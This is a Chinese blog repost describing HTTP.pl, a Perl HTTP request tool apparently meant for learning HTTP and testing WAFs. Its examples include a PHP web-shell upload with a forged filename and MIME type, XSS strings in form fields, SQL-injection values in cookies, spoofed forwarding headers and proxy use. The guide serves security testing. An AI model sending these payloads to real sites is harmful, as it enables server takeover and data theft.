zoukankan      html  css  js  c++  java
  • 通过HTTP发包工具了解HTTP协议

    一、HTTP.pl功能简介
    HTTP.pl perl编写的发包工具,简化版本curl,像curl致敬(唉,“致敬”都被于妈玩坏了)。
     
    该发包工具支持HEAD,GET,METHOD三种基本请求方法,能处理 get/post方法的表单处理、文件上传请求、基本认证,能指定HTTP请求头,指定请求超时时间,指定自动Follow重定向的次数及使用代理。
     
     
    使用的perl模块
    (1)URI 相关模块 : 处理URI对象,分解及组装URI对象

    use URI;
    use URI::Split qw(uri_split uri_join);
    use URI::Escape;

    (2)HTTP协议相关部分:构造请求,发送请求,及解析响应

    use LWP::UserAgent;
    use HTTP::Headers;
    use HTTP::Cookies;
    use HTTP::Request::Common;

    二、HTTP.pl脚本安装
     

    git clone https://github.com/tanjiti/WAFTest

    cpan App::cpanminus
    cat requirePackage.txt | cpanm 
    三、HTTP.pl使用实例
    1. 脚本选项解析

    perl HTTP.pl --help

    -help 帮助选项
    -url 'http://xxxx.xx.com' HTTP请求的URL
    -m|method GET|POST|HEAD HTTP请求方法,默认为GET方法

    -H|header X-Forwarded-For='127.0.0.1, 127.0.0.2' -H Via='Squid' HTTP请求头
    -cookie usertrack='123456' -b hit=1 HTTP cookie
    -d|data name='tanjiti' -d passwd=12345 HTTP 查询字符串/post表单数据


    -A|user-agent 'baiduspider' HTTP UserAgent,默认值 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
    -e|referer 'http://www.baidu.com' HTTP Referer

    -proxy 'http://64.34.14.28:7808' 代理,支持httpshttpsocks代理
    -t|timeout 180 请求超时时间,默认值180s
    -L|redirect 7 重定向次数,默认值7


    -F|fileUpload 表明本次请求为文件上传
    -fileFiled 'uploaded' 文件域name
    -filePath '/tmp/a.jpeg' 本地文件路径
    -fileName 'a.php' 上传文件名
    -fileContent '<?php eval($_POST[a]);?>' 上传文件内容
    -fileType 'image/jpeg' 上传文件类型

    -s|silent : 隐藏http完整内容,只显示http响应消息
    -r|raw : 表明采用未进行urlencode编码的方式提交post数据

    -basicAuth : 表明此次请求为HTTP基本认证
    -username tanjiti 基本认证用户名
    -password 12345 基本认证密码

    2.重定向例子
    (1)关闭自动重定向
    选项 -L

    ./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 0

    HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
     
    (2)设置自动重定向次数,默认为7次

    ./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 1

    HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
     
    3.基本认证例子
     
    选项
    -basicAuth : 表明此次请求为HTTP基本认证
    -username tanjiti 基本认证用户名
    -password 12345 基本认证密码
     
    需要基本验证的请求

    ./HTTP.pl -url http://www.tanjiti.com/xxx/

    HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
     
    基本验证

    ./HTTP.pl -url http://www.tanjiti.com/xxx/ -basicAuth -username tanjiti -password q

    HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
     
    4. GET提交表单的例子
    选项 -d

    ./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit'

    HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
     
    5. POST提交表单的例子

    选项 

    -d 提交数据

    -method 指定HTTP请求方法

    -raw 是否进行urlencode编码

    (1)提交urlencode编码

    ./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post

    HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
     
    (2)提交原始数据

    ./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post -raw

    HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
     
    6. 提交文件上传请求
    选项说明
     -F|fileUpload 表明本次请求为文件上传
    -fileFiled 'uploaded' 文件域name
    -filePath '/tmp/a.jpeg' 本地文件路径
    -fileName 'a.php' 上传文件名
    -fileContent '<?php eval($_POST[a]);?>' 上传文件内容
    -fileType 'image/jpeg' 上传文件类型
    -d 其他表单域数据
    HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
    (1)上传本地文件到服务器
    上传php文件

    ./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php"

    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
     

    上传jpeg图片文件

    ./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/king.jpeg"

    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体

     

    (2) 上传本地文件到服务器,并修改文件实际的名字和类型
    文件上传处理程序一般会检查文件名和文件类型,我们可以对其进行伪造

    ./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" -fileName '1.jpg .php' -fileType 'image/jpeg'

    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
     
     
    (3)  自己构造文件上传包的内容,包括文件名,文件类型,文件内容

    ./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -fileName 'avator.jpeg' -fileType 'image/jpeg' -fileContent '<?php @eval($_POST[a]);?>'

    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
     
    7.构造cookie头

    选项 

    -cookie

    ./HTTP.pl -url http://www.tanjiti.com/a.php -cookie username="tanjiti' or ''= '' -- " -cookie password='1 or 1=1 --'

    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
     

     

     
     
    8.构造HTTP头
    在web攻击中,除了篡改cookie,http请求体外,http请求头也是被攻击的对象。因为应用程序出于某些特定需求需要从http请求头里收集信息。
     
    下面是常见用于日志收集的HTTP请求头:

    User-Agent 脚本中默认为  Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0  

    Referer   用户是从这个页面上依照链接跳转过来的

    Host  

    Accept  告知服务器发送何种媒体类型,脚本中默认为text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

    Accept-Charset  e.g. utf-8 告知服务器发送何种字符集 

    Accept-Encoding 告知服务器采用何种编码,脚本中默认为gzip,deflate,sdch

    Accept-Language 告知服务器采用何种语言,脚本中默认为 zh-CN,zh;q=0.8,en;q=0.6  

     X_Forwarded_For  经过的客户端IP地址  

     Via   代理服务器标识

    (1) 指定UserAgent

    选项 

    -A  或者-user-agent

    ./HTTP.pl -url http://www.tanjiti.com -A 'tanjiti'

    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
     
    (2)指定referer

    选项 

    -e  或者-referer

    ./HTTP.pl -url http://www.tanjiti.com -e 'http://www.google.com'


    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
     
       (3)指定HTTP头

    ./HTTP.pl -url http://127.0.0.1 -H Accept='*/*' -H Accept-Charset='utf-8' -H Accept-Encoding='identity' -H Accept-Language='zh-CN,zh;q=0.8,en;q=0.6' -H Host='www.tanjiti.com' -H Via='1.0 tanjiit.com(squid 0.54)' -H X-Forwarded-For='129.78.138.66, 129.78.64.103'

    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
     
     
    8.使用代理例子
    选项 -proxy
    (1)使用HTTP代理

    ./HTTP.pl -url http://www.tanjiti.com -proxy http://61.158.219.226:8118

    (2) 使用tor/socks代理

    ./HTTP.pl -url http://www.tanjiti.com -proxy socks://127.0.0.1:9050

    ./HTTP.pl -url http://www.tanjiti.com -proxy socks://180.153.139.246:8888

    9.其它选项
     
    (1) 仅发包,不回显具体的HTTP协议包
    选项 -s

    ./HTTP.pl -url http://www.tanjiti.com/a.php -s

    (2)指定请求超时时间,默认为180s
    选项 -t (单位s)

    ./HTTP.pl -url http://www.tanjiti.com/ -t 20

    四、HTTPFromFile.pl
    从文件内容构造HTTP请求来发包
    以测试某个站点WAF的XSS防御为例
     
    第一步:构造XSS请求包

    echo -ne 'GET /?a=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1 Host: www.tanjiti.com UserAgent: curl 0.9 ' > xss.t

     
    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
     
    第二步:发送xss请求包

    perl HTTPFromFile.pl -code 403 -host www.tanjiti.com -port 80 -file xss.t

    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
     选项说明:
    -code: 预期的http响应码,不是所有的waf都用403做拦截响应码
    -host: 指定发包的Host,默认为127.0.0.1
    -port 指定发包的端口,默认为80
    -file 指定存放请求包内容的文件,必须指定该参数
     
    HTTPFromFile还可以批量读取文件内容与发送请求包,并通缉结果

    perl HTTPFromFile.pl -host www.tanjiti.com -dir ~/WAFTest/t

    -dir 指定存放请求包内容的文件目录
    HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体

     原文地址:http://danqingdani.blog.163.com/blog/static/18609419520144202591392/

  • 相关阅读:
    PyQt5 -1 最基本的小窗口
    浅谈线段树
    最小生成树问题
    最短路问题
    多重背包问题
    02背包(嘻嘻,完全背包)
    01背包例题
    背包问题(好奇怪)
    关于深搜及广搜
    搜索回溯(第二)
  • 原文地址:https://www.cnblogs.com/milantgh/p/4280989.html
Copyright © 2011-2022 走看看